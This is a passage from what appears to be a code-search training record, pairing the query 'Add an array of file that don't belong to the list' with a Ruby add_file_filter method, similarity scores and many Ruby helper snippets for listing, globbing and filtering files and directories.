|entry|\n dirs << entry if @file_wrapper.directory?(entry)\n end\n\n # else just grab simple path\n # note: we could just run this through glob expansion but such an\n # approach doesn't handle a path not yet on disk)\n else\n dirs << FilePathUtils.extract_path_no_aggregation_operators(path)\n end\n\n # add dirs to the appropriate set based on path aggregation modifier if present\n FilePathUtils.add_path?(path) ? plus.merge(dirs) : minus.merge(dirs)\n end\n\n return (plus - minus).to_a.uniq\n end",
"def directories_to_watch\n []\n end",
"def directory!\n @file_list = @file_list.select{ |f| File.directory?(f) }\n end",
"def hook_add_directories\n @flavor.class.after_add_directories do |directories|\n directories.each do |dir|\n actions_taken << \"create directory #{dir}\"\n end\n end\n end",
"def blacklisted_dir_entries\n %w[. ..]\n end",
"def all_directories dir\n Dir[\"#{dir}**/\"]\nend",
"def files &filter_block\n Dir[File.join(path, '**/*')].\n reject{|f| File.directory?(f) }.\n select{|f| f =~ filter_re }.\n sort.reverse[0..MAX_FILES].\n select(&filter_block)\n end",
"def addDirectory(dir, expression=\".*\")\r\n @directories << URLWatcher::Directory.new(dir, expression)\r\n end",
"def expand_dirs_to_files(*dirs)\n extensions = %w[rb erb rake rhtml haml slim builder rxml rabl]\n\n dirs.flatten.map do |entry|\n next unless File.exist? entry\n\n if File.directory? entry\n Dir[File.join(entry, '**', \"*.{#{extensions.join(',')}}\")]\n else\n entry\n end\n end.flatten\n end",
"def addSrcFilesByRE(re)\n Dir.for_each(@srcDir) { |f|\n next if File.stat(f).dir?\n @files << f if re =~ f\n }\n end",
"def directories\n return @expanded_dirs if @expanded_dirs\n\n raw_dirs = File.readlines(settings.check_dirs).map(&:chomp)\n simple_dirs = raw_dirs.reject{ |line| line.empty? || line.start_with?('#') }\n expanded_dirs = simple_dirs.map do |line|\n expanded = Dir.glob(line)\n if expanded.empty?\n # return original line for error reporting\n line\n else\n # only return directories\n expanded.select{ |dir| File.directory?(dir) }\n end\n end\n @expanded_dirs = expanded_dirs.flatten.sort_by(&:downcase)\n end",
"def clearWVDirs(flacdirs)\nfinalFlacDirs = Array.new\n\n flacdirs.each { |fd| \\\n found = false\n Dir.foreach(fd) { |file| \\\n if(File.directory?(fd+\"/\"+file))\n Dir.foreach(fd+\"/\"+file) { |findwv| \\\n if(findwv[-3..-1]==\".wv\")\n found = true\n break\n end\n }\n end\n }\n if(found==false)\n finalFlacDirs << fd\n end\n }\n return finalFlacDirs\nend",
"def load_directories\n load_file('adjust_permissions.dirs',['web_writable','only_webreadable']).inject({}) do |res,items|\n k,v = items\n res[k] = v.collect do |item|\n path = File.expand_path(File.join(options['webdir'],item))\n if !File.exists?(path) || !File.directory?(path)\n log \"#{path} is not a directory or doesn't exist. Skipping...\"\n nil\n elsif path.start_with? \"#{options['webdir']}\"\n path\n else\n log \"#{path} is outside the webdir #{options['webdir']}, so we're dropping it\"\n nil\n end\n end.flatten.compact\n res\n end\nend",
"def find_files(recusive,sort)\n ext_list = $config[\"series\"][\"media_extentions\"].gsub(/,/,\"|\")\n files = [] \n if File.directory? sort\n Find.find(sort) do |path|\n next if File.dirname(path) != sort and not recusive\n next if File.directory? path\n next if File.basename(path) =~ /^\\./\n next if path !~ /#{ext_list}$/\n files << path\n end\n else\n log(\"error: source directory of \\\"#{sort}\\\" does not exist!\")\n exit 2\n end\n files\nend",
"def process_exclusions globs\n remainder = globs.select do |glob|\n if glob_is_directory?(glob)\n exdir = File.join(directory, glob_to_directory(glob))\n included.delete_if { |file| file.start_with?(exdir) }\n false\n else\n true\n end\n end\n process_globs remainder\n end",
"def file_list(dir, opts={})\r\n\topts={:recursive => false, :exclude => []}.merge(opts)\r\n\tf = []\r\n\tDir.glob(File.join(dir,\"*\")).each do | file |\r\n\t\tif File.file?(file) then\r\n\t\t\tnext if opts[:exclude].include? file\r\n\t\t\tf << file\r\n\t\telse\r\n\t\t\tf << file_list(file) if opts[:recursive] && File.directory?(file)\r\n\t\tend\r\n\tend\r\n\treturn f\r\nend",
"def addIncludeDirs(incdirs)\n\t\t@INCDIRS += ensureArray(incdirs).map {|p| Pathname.new(p)}\n\tend",
"def excluded_files() = []",
"def directories\n directory_entries.map{ |f| FileObject[path, f] }\n end",
"def directories\n @directories ||= []\n end",
"def directories\n @directories ||= []\n end",
"def in_dest_dir(*paths); end",
"def add_directory(directories, path)\n target = Pathname(path).each_filename.to_a.first\n if directories.select{|s| Pathname(s).each_filename.to_a.first == target}.empty?\n directories << path\n end\n end",
"def option_search_all(options)\n if(directory = options[:in_dir])\n search_in(:directory => directory, :for_files => search_all_files)\n else\n search_all_files\n end\n end",
"def filter(lexers)\n mapping = {}\n lexers.each do |lexer|\n mapping[lexer.name] = lexer.filenames || []\n end\n\n GlobMapping.new(mapping, @filename).filter(lexers)\n end",
"def replaced_files\n new_dirs.select { |dir| File.file?(dir) }.to_set\n end",
"def build_file_list\n puts_and_logs 'Finding files...'\n file_list = []\n config[:source].each do |entry|\n if File.directory?(entry)\n populate_list_of_files_from_directory(file_list, entry) \n next\n end\n if File.file?(entry)\n populate_list_of_files_from_file(file_list, entry) \n next\n end\n logger.warn \"\\\"#{entry}\\\" is neither a directory nor a regular file. Ignored...\"\n end\n logger.debug(file_list)\n file_list\n end",
"def dirs; entries.find_all {|e| e.is_a? SiteDir} end",
"def directories; end",
"def directories; end",
"def directories\n directory.directoires\n end",
"def search_paths\n # NOTE: Do not cache this list, specific generators\n # will modify it with their own lookups\n create_search_paths.select { |path| File.directory?(path) }\n end",
"def add_files_to_clean(*filenames)\n @clean_list.include(filenames)\n Cleaner.global_clean_list.include(filenames)\n end",
"def add_directories(listing)\n listing.common_prefixes.each do |prefix|\n new_entry = entry_for(from_base(prefix.prefix), 0, Time.current, true)\n @entries << new_entry unless new_entry.nil?\n end\n end",
"def find_files( dirs, lang, name, exts )\n results = []\n glob_files( dirs, lang, name, exts ) { |file,base,ext| results << file }\n results\n end",
"def retrieve_dirs(_base, dir, dot_dirs); end",
"def search_paths=(path_array)\n @search_paths = (@search_paths + path_array).uniq\n end",
"def get_dirs\n Dir.glob(\"#{@options[:load_path]}/*/**/\")\n end",
"def merge_directives(target, dirs)\n dirs.each do |dir|\n if (idx = target.find_index { |d| d.graphql_name == dir.graphql_name })\n target.slice!(idx)\n target.insert(idx, dir)\n else\n target << dir\n end\n end\n nil\n end",
"def dirs\n @dirs.each { |_, dir| apply_defaults_to_dir(dir) }\n end",
"def retrieve_dirs(dir, entries_dirs)\n entries_dirs.each do |file|\n dir_path = site.in_source_dir(dir, file)\n rel_path = File.join(dir, file)\n read_directories(rel_path) unless @site.destination.chomp(\"/\") == dir_path\n end\n end",
"def group_directories_first\n return if @group_directories == :none\n\n files = @files\n dirs = files.select { |f| File.directory?(f) }\n # earlier I had File? which removed links, esp dead ones\n fi = files.reject { |f| File.directory?(f) }\n @files = if @group_directories == :first\n dirs + fi\n else\n fi + dirs\n end\nend",
"def ignore_dirs(path)\n self.ignored_dirs= path\n end",
"def new_dirs\n @new_dirs ||= new_files.flat_map { |file| parent_dirs(file) }.to_set\n end",
"def install_dir(plugin_dirs = [], &filter)\n\t Installer.copy_tree(File.join(Roby::ROBY_ROOT_DIR, 'app'), app.app_dir, &filter)\n\t plugin_dirs.each do |dir|\n\t\tplugin_app_dir = File.join(dir, 'app')\n\t\tnext unless File.directory?(plugin_app_dir)\n\t\tInstaller.copy_tree(plugin_app_dir, app.app_dir, &filter)\n\t end\n\tend",
"def add_matching(pattern)\n self.class.glob(pattern).each do |fn|\n self << fn unless excluded_from_list?(fn)\n end\n end",
"def filter!(dirs=nil, host=Socket.gethostname)\n # Normalize the input directories\n dirs = Pathname(dirs).realpath.to_s\n # Now filter out any fileset which doesn't match what we're backing up\n @filesets.each do |k, v|\n if ((host != nil and not v.host.eql?(host)) or (dirs != nil and dirs.index(v.dir) == nil))\n @filesets.delete(k)\n end\n end\n end",
"def array_to_dirs(dir_name, array)\n array.each {|x| create_dir(\"#{dir_name}/#{x}\")}\n return true\n end",
"def get_files (path, files_found) \n\t\tif File.directory? path\n\t\t\tDir.foreach path do |file| \n\t\t\t\tif (!EXCLUDED_FILES.include? file)\n\t\t\t\t\tget_files(path+file, files_found) \n\t\t\t\tend\n\t\t\tend\n\t\telsif File.file? path\n\t\t\tfiles_found << path\n\t\tend\n\tend",
"def find_files(base_dir, flags); end",
"def scan_dirs(indir)\n @acs_dirs = {}\n Dir.chdir(indir)\n all_dirs = Dir.glob('*').select { |f| File.directory? f }\n all_dirs.each do |subdir|\n @acs_dirs[subdir] = HRRTACSDir.new(File.join(indir, subdir))\n @acs_dirs[subdir].create_hrrt_files\n end\n end",
"def x__files_list_filtered(a_filelist, a_file_types, verbose=false)\n x__abort_unless_is_an_array(a_filelist, verbose)\n filtered_list_raw = []\n a_filelist.each do |file|\n filetype = x__file_type(file, verbose=true)\n if filetype == \"directory\" and a_file_types.include?(:directories)\n filtered_list_raw << file\n elsif filetype == \"file\" and a_file_types.include?(:regular_files)\n filtered_list_raw << file\n elsif filetype == \"link\" and a_file_types.include?(:symbolic_links)\n filtered_list_raw << file\n end\n end\n filtered_list_raw.sort\n end",
"def scan_sub_dirs_in_path(path)\n puts 'Scanning destination directories'\n Dir.chdir(path)\n sub_dirs = Dir['*'].select { |o| File.directory?(o) }\n Dir.chdir(root_dir)\n sub_dirs\nend",
"def filter_paths\n if @filter_paths.nil?\n paths = if jcr_path.end_with?(\".content.xml\")\n Pathname(jcr_path).parent.to_s\n elsif sling_initial_content? and jcr_path.end_with?(\".json\")\n jcr_path.gsub(/.json$/, \"\")\n else\n jcr_path\n end\n\n @filter_paths = Array(paths)\n end\n\n @filter_paths\n end",
"def add_files(*files)\n @source_paths &= files\n end",
"def net_excluded_directories\n net = []\n all = self.excluded_directories.map { |dir| buildr_project._(dir.to_s) }.sort_by { |d| d.size }\n all.each_with_index do |dir, i|\n unless all[0 ... i].find { |other| dir =~ /^#{other}/ }\n net << dir\n end\n end\n net\n end",
"def net_excluded_directories\n net = []\n all = self.excluded_directories.map { |dir| buildr_project._(dir.to_s) }.sort_by { |d| d.size }\n all.each_with_index do |dir, i|\n unless all[0 ... i].find { |other| dir =~ /^#{other}/ }\n net << dir\n end\n end\n net\n end",
"def watched_directories\n [File.dirname(archive_file)]\n end",
"def detected_directories\n sub_directories.reject do |on_disk|\n children.any? { |in_db| in_db.full_path == on_disk }\n end.map do |found|\n children.new(relative_path: found.relative_path_from(disk.path), disk: disk)\n end.each(&:valid?) # build paths\n end",
"def push_used_dirs d=Dir.pwd\n $used_dirs.index(d) || $used_dirs.push(d)\nend",
"def push_used_dirs d=Dir.pwd\n $used_dirs.index(d) || $used_dirs.push(d)\nend",
"def push_used_dirs d=Dir.pwd\n $used_dirs.index(d) || $used_dirs.push(d)\nend",
"def get_filelist(root_path)\n array = Dir[root_path+'**/*'].reject {|fn| File.directory?(fn) }\nend",
"def find(dirs=%w(app config lib script test))\n dirs.inject({}) { |h, dir| h.update(find_in(dir)) }\n end",
"def takeFilesNames\nDir['result*.*'].each do |file_name|\n @files_names.push(file_name)\nend\nend",
"def exclude_dir\n @exclude_dirs.map { |p| Pathname.new(path) + p }.select(&:exist?)\n end",
"def result_paths( pattern = '*' )\n paths = nil\n Dir.chdir(dir) {\n paths = Dir.glob(pattern).map {|x| Pathname.new(x).expand_path }\n }\n # remove directories of Analysis\n anl_dirs = analyses.map {|anl| /^#{anl.dir.to_s}/ }\n paths.reject do |path|\n anl_dirs.find {|anl_dir| anl_dir =~ path.to_s }\n end\n end",
"def list_of_directories\n Dir.entries(\"./inspections\").select {|d| !d.start_with?(\".\") }\n end",
"def dirs; end",
"def dirs; end",
"def dirglob(dir='')\n pattern = dir.sub(/\\/+$/, ?/) + ?*\n files = []\n dirs = []\n Dir[pattern].flat_map do |f|\n if File.directory?(f)\n f = f.sub(/\\/*$/, ?/)\n dirs += ['', f] + dirglob(f)\n else\n files << f\n end\n end\n files + dirs\nend",
"def filtered_copy(src_dir, dest_dir, filters_def = Registry[:filters_def])\n self.copy(:todir => dest_dir.to_s) do\n self.filterset do\n filters_def['filters'].each do |filter|\n token = filter.keys.first\n value = filter[token]\n self.filter(:token => token, :value => value)\n end\n end\n\n filters_def['filtered_files'].each do |includes_pattern|\n self.fileset(:dir => src_dir.to_s, :includes => includes_pattern)\n end\n end\n\n self.copy(:todir => dest_dir.to_s) do\n self.fileset(:dir => src_dir.to_s, :includes => '**/*',\n :excludes => filters_def['filtered_files'].join(','))\n end\n end",
"def keep_dirs; end"
] |
[
"0.73130506",
"0.6819871",
"0.6714459",
"0.6669661",
"0.66258055",
"0.65835506",
"0.65315974",
"0.64896685",
"0.64550304",
"0.6369237",
"0.6250286",
"0.6219849",
"0.6190459",
"0.61829334",
"0.6176399",
"0.6150504",
"0.6135181",
"0.61058706",
"0.60512465",
"0.60487396",
"0.60470897",
"0.60105205",
"0.5990906",
"0.5974921",
"0.5924718",
"0.59064287",
"0.5905735",
"0.5885643",
"0.586721",
"0.5864662",
"0.5834175",
"0.58151615",
"0.5765664",
"0.5762421",
"0.5749385",
"0.5737699",
"0.5712439",
"0.57064426",
"0.56898206",
"0.568736",
"0.5684339",
"0.56825614",
"0.5664032",
"0.56627804",
"0.5660395",
"0.56543946",
"0.56543946",
"0.5648052",
"0.5638484",
"0.5633808",
"0.56145763",
"0.56123435",
"0.55967253",
"0.55831575",
"0.5578516",
"0.5578516",
"0.55627877",
"0.55522555",
"0.5546827",
"0.5544263",
"0.55363685",
"0.553379",
"0.55009717",
"0.5492945",
"0.54808295",
"0.5477534",
"0.5465791",
"0.5463153",
"0.5459171",
"0.5450488",
"0.54480875",
"0.5447821",
"0.5444186",
"0.5443416",
"0.5435478",
"0.54272074",
"0.54231966",
"0.54193044",
"0.54191524",
"0.5411133",
"0.54108006",
"0.5403205",
"0.5403205",
"0.53925467",
"0.5381519",
"0.53745645",
"0.53745645",
"0.53745645",
"0.5364118",
"0.5362726",
"0.53530514",
"0.5339048",
"0.53390133",
"0.53388166",
"0.5330807",
"0.5330807",
"0.5328474",
"0.5313701",
"0.531212"
] |
0.66336024
|
5
|
Add an array of file that don't belong to the list
|
def add_file_filter(file_filter)
@filter_file = file_filter
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def add_files filearray, config={}\n filearray.each do |e| add_content(e, config.dup); end\n end",
"def excluded_files() = []",
"def generate_file_list\n self.file_list = Concurrent::Array.new\n targets.each do |target|\n add_target(target)\n end\n end",
"def add_datafiles(datafiles)\n conversation = self.conversation\n datafiles.each do |datafile|\n self.datafiles << datafile unless self.datafiles.include?(datafile)\n conversation.datafiles << datafile unless conversation.datafiles.include?(datafile)\n end\n end",
"def new_files(recursive=false)\n newfiles = Array.new\n list(recursive).each do |file|\n newfiles << file if !stored?(file) \n end\n return newfiles\n end",
"def file!\n @file_list = @file_list.select{ |f| File.file?(f) }\n end",
"def populate_list_of_files_from_file(file_list, entry)\n logger.debug \"\\\"#{entry}\\\" is a file. Processing...\"\n file_list << entry\n # Find images if any\n Find.find(File.dirname(entry)) do |file|\n file_list << file if (File.file?(file) && is_image?(file))\n end\n end",
"def file_list\n end",
"def append\n return [] if files.empty?\n if file_set?(parent)\n file_set_append\n else\n resource_append\n end\n end",
"def files_array(files)\n return [] unless files\n files.is_a?(Array) ? files : pattern_to_filelist(files.to_s)\n end",
"def add_files(file_path__content_array, opts = {})\n if any_changes = RepoManager.add_files(@repo_manger_context, file_path__content_array, no_commit: opts[:no_commit], commit_msg: opts[:commit_msg])\n RepoManager.push_changes(@repo_manger_context) unless opts[:donot_push_changes]\n end\n any_changes\n end",
"def unique_files(list)\n files = []\n list.each do |entry|\n files << entry unless files.any? { |f| File.identical?(f, entry) }\n end\n files\n end",
"def unique_files(list)\n files = []\n list.each do |entry|\n files << entry unless files.any? { |f| File.identical?(f, entry) }\n end\n files\n end",
"def files(*list)\n @files.concat(makelist(list)) unless list.empty?\n @files\n end",
"def check_for_inexistent_files\n inexistent_files = []\n @files.each do |file|\n inexistent_files << file unless File.exists? file\n end\n\n inexistent_files\n end",
"def related_data_files\n via_assay = assays.collect(&:data_files).flatten.uniq.compact\n via_assay | data_files\n end",
"def file_set_append\n # Append the array of file metadata values to any FileSets with new FileNodes being appended\n parent.file_metadata += file_nodes\n file_nodes\n end",
"def single_ucf_file_lists\n File.open(single_bad_ucf_file, 'a') do |mergedfile|\n Dir.glob(\"#{output_directory_path}*name.txt\").each do |file|\n File.foreach(file) do |line|\n mergedfile.write(line)\n end\n end\n end\n end",
"def add_extra_files(*files); end",
"def check_add_assembly_files(files=self.find_assembly_files)\n add = Hash.new\n files.each do |file_type, file_hash|\n # returns an array\n file_path = file_hash[\"path\"]\n file_vendor = file_hash[\"vendor\"]\n filename = File.basename(file_path)\n # if you use file_type then if the file_type is wrong it tries to add a new file...\n# af = AssemblyFile.includes(:file_type).where(:name => filename, :file_types => {:type_name => file_type})\n af = AssemblyFile.where(:name => filename) \n\n if af.size == 0 then\n add[file_path] = Hash.new\n\tadd[file_path][\"type\"] = file_type\n\tadd[file_path][\"vendor\"] = file_vendor\n end\n\n end\n if add.size == 0 then\n logger.error(\"check_add_assembly_files did not find any files to add\")\n return []\n end\n return add\n end",
"def related_files\n []\n end",
"def files\n @files ||= []\n end",
"def add_files(*files)\n files = files.flatten\n unless files.empty?\n @perforce.run(\"edit\", \"-c\", @number, *files)\n @perforce.run(\"add\", \"-c\", @number, *files)\n end\n end",
"def file_list\n @file_list\n end",
"def add_files(context, file_path__content_array, opts = {})\n get_adapter_repo(context).add_files(file_path__content_array, no_commit: opts[:no_commit], commit_msg: opts[:commit_msg])\n end",
"def parse_files(*files)\n self.files = []\n seen_extra_files_marker = false\n \n files.each do |file|\n if file == \"-\"\n seen_extra_files_marker = true\n next\n end\n \n if seen_extra_files_marker\n add_extra_files(file)\n else\n self.files << file\n end\n end\n end",
"def filter_invalid_files\n real_files=[]\n @files.each do |file|\n if @edit_in_place\n if File.writable?(file)\n real_files << file \n else\n puts \"ERROR: File #{file} is not writable, ignoring.\"\n end\n else\n if File.readable?(file)\n real_files << file \n else\n puts \"ERROR: File #{file} is not readable, ignoring.\"\n end\n end\n end\n @files=real_files\n end",
"def filter_nonexistent(modified_files); end",
"def sort_no_rulls(file)\n if @file_hash[:files] == nil\n @file_hash[:files] = []\n @file_hash[:files] << file\n else\n @file_hash[:files] << file\n end\n end",
"def addFile(file)\r\n @files << file\r\n end",
"def initialize\n @files = []\n end",
"def filtered(files); end",
"def add_files(*files)\n Rails.logger.info \"Adding #{files.map(&:upload_file_name).join(', ')} to bundle #{self.bundle_type}:#{self.id} in #{self.study.name}\"\n files.each do |file|\n file.update!(study_file_bundle_id: self.id)\n end\n additional_files = StudyFileBundle.generate_file_list(*files)\n self.original_file_list += additional_files\n self.save!\n Rails.logger.info \"File addition to bundle #{self.bundle_type}:#{self.id} successful\"\n end",
"def existing_files; end",
"def tag_empty_manifests\n empty = []\n tag_manifested_files.each do |f|\n empty.push f unless File.exist?(File.join(bag_dir, f))\n end\n empty\n end",
"def list\n @file_list.to_a\n end",
"def expanded_file_list\n test_files = Rake::FileList[pattern].compact\n test_files += @test_files.to_a if @test_files\n test_files\n end",
"def file_list\n list = []\n\n list.concat(Array.new(4, \"class0/file0.html\"))\n list << \"class0/file1.html\"\n list.concat(Array.new(2, \"class0/file2.html\"))\n list.concat(Array.new(3, \"class0/file3.html\"))\n list.concat(Array.new(4, \"class0/file4.html\"))\n\n list.concat(Array.new(7, \"class1/file0.html\"))\n list.concat(Array.new(2, \"class1/file1.html\"))\n list.concat(Array.new(3, \"class1/file2.html\"))\n\n list.concat(Array.new(8, \"class2/file0.html\"))\n list.concat(Array.new(5, \"class2/file1.html\"))\n list.concat(Array.new(5, \"class2/file2.html\"))\n list.concat(Array.new(10, \"class2/file3.html\"))\n\n list.concat(Array.new(15, \"class3/file0.html\"))\n list.concat(Array.new(7, \"class3/file1.html\"))\n\n list.concat(Array.new(12, \"class4/file0.html\"))\n\n list.concat(Array.new(11, \"class5/file0.html\"))\n\n return list.shuffle\nend",
"def files\n array = []\n @list.each do |k,v|\n array += v.filename\n end\n array\n end",
"def files\n songs = Dir.entries(path) #this is a separate class within itself \n #this is saying delete each song in the array if it starts with a string of a period because they are all strings\n songs.reject {|song| song[0] == \".\"}\n end",
"def appendMulti(fileinputmulti, fileinputappend, fileoutput, radiousremove)\n\t\t\t\tdatautil = DataUtils.new\n\t\t\t\tlist = [];\n\t\t\t\tlistinsert = [];\n\t\t\t\tindex = 0;\n\t\t\t\tFile.open(fileinputmulti).each_line do |line|\n\t\t\t\t\tlist += [line];\n\t\t\t\t\tlistinsert += [1];\n\t\t\t\t\tindex = index + 1;\n\t\t\t\tend\n\t\t\t\tputs \"NUMBER OF SOURCE FOUND \" + index.to_s;\n\t\t\t\t\n\t\t\t\tlist_fixed = [];\n\t\t\t\tlistinsert_fixed = [];\n\t\t\t\tindex_fixed = 0;\n\t\t\t\tFile.open(fileinputappend).each_line do |line|\n\t\t\t\t\tlist_fixed += [line];\n\t\t\t\t\tlistinsert_fixed += [1];\n\t\t\t\t\tindex_fixed = index_fixed + 1;\n\t\t\t\tend\n\t\t\t\tputs \"NUMBER OF SOURCE FIXED \" + index_fixed.to_s;\n\t\t\t\tindexk = 0;\n\t\t\t\tlist.each do | sourcel |\n\t\t\t\t\t#puts sourcel\n\t\t\t\t\tlist_fixed.each do | sourcef |\n\t\t\t\t\t\t#puts sourcef;\n\t\t\t\t\t\tsl = sourcel.split(\" \");\n\t\t\t\t\t\tll = sl[1];\n\t\t\t\t\t\tbl = sl[2];\n\t\t\t\t\t\tsf = sourcef.split(\" \");\n\t\t\t\t\t\tlf = sf[1];\n\t\t\t\t\t\tbf = sf[2];\n\t\t\t\t\t\t\n\t\t\t\t\t\t#d3 = Math.sqrt(d1.to_f*d1.to_f + d2.to_f * d2.to_f);\n\t\t\t\t\t\td3 = datautil.distance(ll, bl, lf, bf)\n\t\t\t\t\t\t\n\t\t\t\t\t\tif d3.to_f < radiousremove.to_f\n\t\t\t\t\t\t\t#remove the source from list of spot finder\n\t\t\t\t\t\t\tlistinsert[indexk] = 0;\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tindexk = indexk + 1\n\t\t\t\tend\n\t\t\t\t#e ora costruisci la lista finale mettendo prima quelle fixed, poi le restanti di spot finder\n\t\t\t\tafo = File.new(fileoutput, \"w\")\n\t\t\t\t\n\t\t\t\tindexl = 0\n\t\t\t\tlist_fixed.each do | sourcef |\n\t\t\t\t\tafo.write(sourcef);\n\t\t\t\tend\n\t\t\t\tlist.each do | sourcel |\n\t\t\t\t\tif listinsert[indexl] == 1\n\t\t\t\t\t\tafo.write(sourcel);\n\t\t\t\t\tend\n\t\t\t\t\tindexl = indexl + 1;\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tafo.close();\n\t\tend",
"def main_files(value = nil)\n if value\n @main_files[@asset_name] = Array(value)\n end\n @main_files\n end",
"def remove_hidden_files(list_of_files)\n\t\tresults = []\n\t\t\n\t\tlist_of_files.each do |file|\n\t\t\t# skip anything with a dot.\n\t\t\tif /^[.]+.*/ =~ file\n\t\t\t\tnext\n\t\t\telse\n\t\t\t\tresults.push file\n\t\t\tend\n\t\tend\n\t\t\n\t\tresults\n\tend",
"def keep(*files)\n @keep.concat(files.flatten)\n end",
"def files\n ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h']\n end",
"def unmerge(*files)\n files.each do |f|\n f = check_for_file(f)\n @unmerged << f\n end\n end",
"def files=(list)\n @files = makelist(list)\n end",
"def files_list(path_list: '', name_list: '')\n # Check\n path_list = [path_list] if path_list.class == String # transform String in Array\n name_list = [name_list] if name_list.class == String # transform String in Array\n path_list.uniq! # Remove duplicate\n name_list.uniq! # Remove duplicate\n (@log.fatal {'FileManager.files_list() : no path given'}; exit ) if :path_list.size == 0\n (@log.fatal {'FileManager.files_list() : no file list given'}; exit ) if :name_list.size == 0\n # Init\n file_array = []\n # Create the list\n for path in path_list\n for file in name_list\n files = Dir.glob(path + '/' + file)\n file_array = file_array + files\n @log.info {\" FileManager search for \\\"#{path}/#{file}\\\" => found : #{Dir.glob(path + '/' + file).size} file(s)\"}\n end\n end\n # Something wrong ?\n if file_array.size == 0\n @log.fatal {\"FileManager : no Input Files found by files_list().path_list : #{path_list.to_s} name_list #{name_list.to_s}\"}; exit\n else\n return file_array\n end\n end",
"def clean_file_list( args )\n\t\tdirtyfiles = args\n\n\t\t# only allow .mp3 files into the clean list.\n\t\tfiles = Array.new\n\t\tdirtyfiles.each { |x|\n\t\t\tif ( x =~ /.*\\.[mM][pP]3$/ )\n\t\t\t\tfiles.push( x )\n\t\t\telse\n\t\t\t\tputs \"\\tWARNING: No .mp3 suffix in \\\"#{x}\\\"! *** skipping! ***\"\n\t\t\tend\n\t\t}\n\n\t\tfiles\n\tend",
"def test_file_must_not_contain_array()\n\t\tmustnotcontain = Array.new()\n\t\tmustnotcontain << @multilinefilecontents.split(\"\\n\")[1]\n\t\tmustnotcontain << @multilinefilecontents.split(\"\\n\")[2]\n\n\t\tCfruby::FileEdit.file_must_not_contain(@multilinefilename, mustnotcontain)\n\t\tFile.open(@multilinefilename, File::RDONLY) { |fp|\n\t\t\tlines = fp.readlines()\n\t\t\tassert_equal(@multilinefilecontents.split(\"\\n\").length-2, lines.length)\n\t\t\tmustnotcontain.each() { |line|\n\t\t\t\tassert_equal(false, lines.include?(line))\n\t\t\t}\n\t\t}\t\t\n\tend",
"def addToArray(fileInput)\n i = 0\n loc = 0\n file = File.new(fileInput, \"r\")\n while (line = file.gets)\n line = line.gsub(/[[:space:]]+/, '')\n if ((line.slice(0) != \"/\") and (line.empty? != true)) \n @commandArray.insert(loc, line)\n loc += 1\n end\n i += 1\n end\n file.close\n end",
"def altered_files; (modified + added + removed).sort; end",
"def whitelist_files\n @whitelist_files ||= []\n end",
"def file_list(dir)\n array = Array.new\n array += File.readlines(dir).map(&:chomp)\nend",
"def gather_files files\n files = [\".\"] if files.empty?\n\n file_list = normalized_file_list files, true, @options.exclude\n\n file_list = remove_unparseable(file_list)\n\n if file_list.count {|name, mtime|\n file_list[name] = @last_modified[name] unless mtime\n mtime\n } > 0\n @last_modified.replace file_list\n file_list.keys.sort\n else\n []\n end\n end",
"def files(files)\n files.uniq.collect do |file|\n begin\n self.file(file)\n rescue Exception => e\n \"Validation failed: #{e}\"\n end\n end\n end",
"def files\n filenames || []\n end",
"def attach_files(files)\n files = [files] unless(files.is_a?(Array))\n files.each do |file|\n file.to_options!\n filename = file[:url]\n assit(filename)\n options = file[:options] || {}\n # BEGIN BY RIK\n talia_file = TaliaFile.new\n talia_file.assign_random_id\n talia_file[N::RDFS.label] << File.basename(filename)\n records = TaliaCore::DataTypes::FileRecord.create_from_url(filename, options)\n records.each do |rec|\n talia_file.data_records << rec\n end\n talia_file[N::TALIA.isFileOf] = self\n self[N::TALIA.hasFile] << talia_file\n # talia_file.save!\n # END BY RIK\n end\n end",
"def add_files?\n false\n end",
"def add file\n file.download unless file.downloaded?\n @files << file\n end",
"def files=(files)\n @files = Array files\n end",
"def on_drop_files(x, y, files)\n path = File.basename(files[0])\n ext = File.extname(path)\n if ext == \".rxproj\"\n @list.push(files[0])\n end\n true # currently need to return boolean from this method\n end",
"def initialize(file_arr=[])\n\t\t@files = [\"-\"]\n\t\t@files = file_arr unless file_arr.empty?\n\t\treset\n\tend",
"def ok_to_add_file(file, file_path)\n file_tags = file[\"tags\"] || []\n (files.size == 0 || files.any_matches?(file_path)) &&\n !exclude_files.any_matches?(file_path) &&\n (tags.size == 0 || (cross_any_matches?(file_tags, tags)) &&\n !cross_any_matches?(file_tags, exclude_tags))\n end",
"def remove_from_list\n\n # XXX key to invoke this is difficult. make it easier\n selfiles = current_or_selected_files\n sz = selfiles.size\n print \"Remove #{sz} files from used list (y)?: \"\n key = get_char\n return if key != 'y'\n\n # arr = @selected_files.map { |path| File.expand_path(path) }\n # @log.debug \"BEFORE: Selected files are: #{@selected_files}\"\n arr = selfiles.map { |path|\n if path[0] != '/'\n expand_path(path)\n else\n path\n end\n }\n if File.directory? arr.first\n @used_dirs -= arr\n select_from_used_dirs\n else\n @visited_files -= arr\n select_from_visited_files\n end\n unselect_all\n @modified = true\n # redraw_required\nend",
"def file_array_parser\n @array_of_parse_files = []\n file_array.each do |file|\n File.open(\"text_files/#{file}\").readlines.each do |line|\n if line.include?(\"\\n\") # removes '\\n' (line breaker)\n @array_of_parse_files << [line.gsub!(/\\n/, '')]\n else\n @array_of_parse_files << [line]\n end \n end\n @array_of_parse_files \n end\n\nend",
"def add_extra_files(*files)\n files.map! {|f| f.include?(\"*\") ? Dir.glob(f) : f }.flatten!\n files.each do |file|\n raise Errno::ENOENT, \"Could not find extra file: #{file}\" unless File.file?(file)\n options[:files] << file\n end\n end",
"def import\n @@files_array.collect { |filename| Song.create_from_filename(filename) } \n end",
"def add_files(*files)\n @source_paths &= files\n end",
"def loadlist _file, _append\n send_cmd(\"loadlist #{_file} #{_append}\")\n end",
"def list_files\n [].tap do |files|\n remote_files do |file|\n files << file\n end\n end\n end",
"def append(file)\n return file.each { |f| self << f } if file.class == Array\n return if @files.include?(file)\n\n if !@dependency_resolver.nil?\n path = File.expand_path(file)\n resolve_dependencies(path)\n elsif !@files.include?(file)\n @files << file\n end\n end",
"def special_files\n @special_files ||= Set.new\n end",
"def add_files_to_clean(*filenames)\n @clean_list.include(filenames)\n Cleaner.global_clean_list.include(filenames)\n end",
"def ignored_files=(_arg0); end",
"def file_patterns\n [@file_patterns].flatten.compact.uniq\n end",
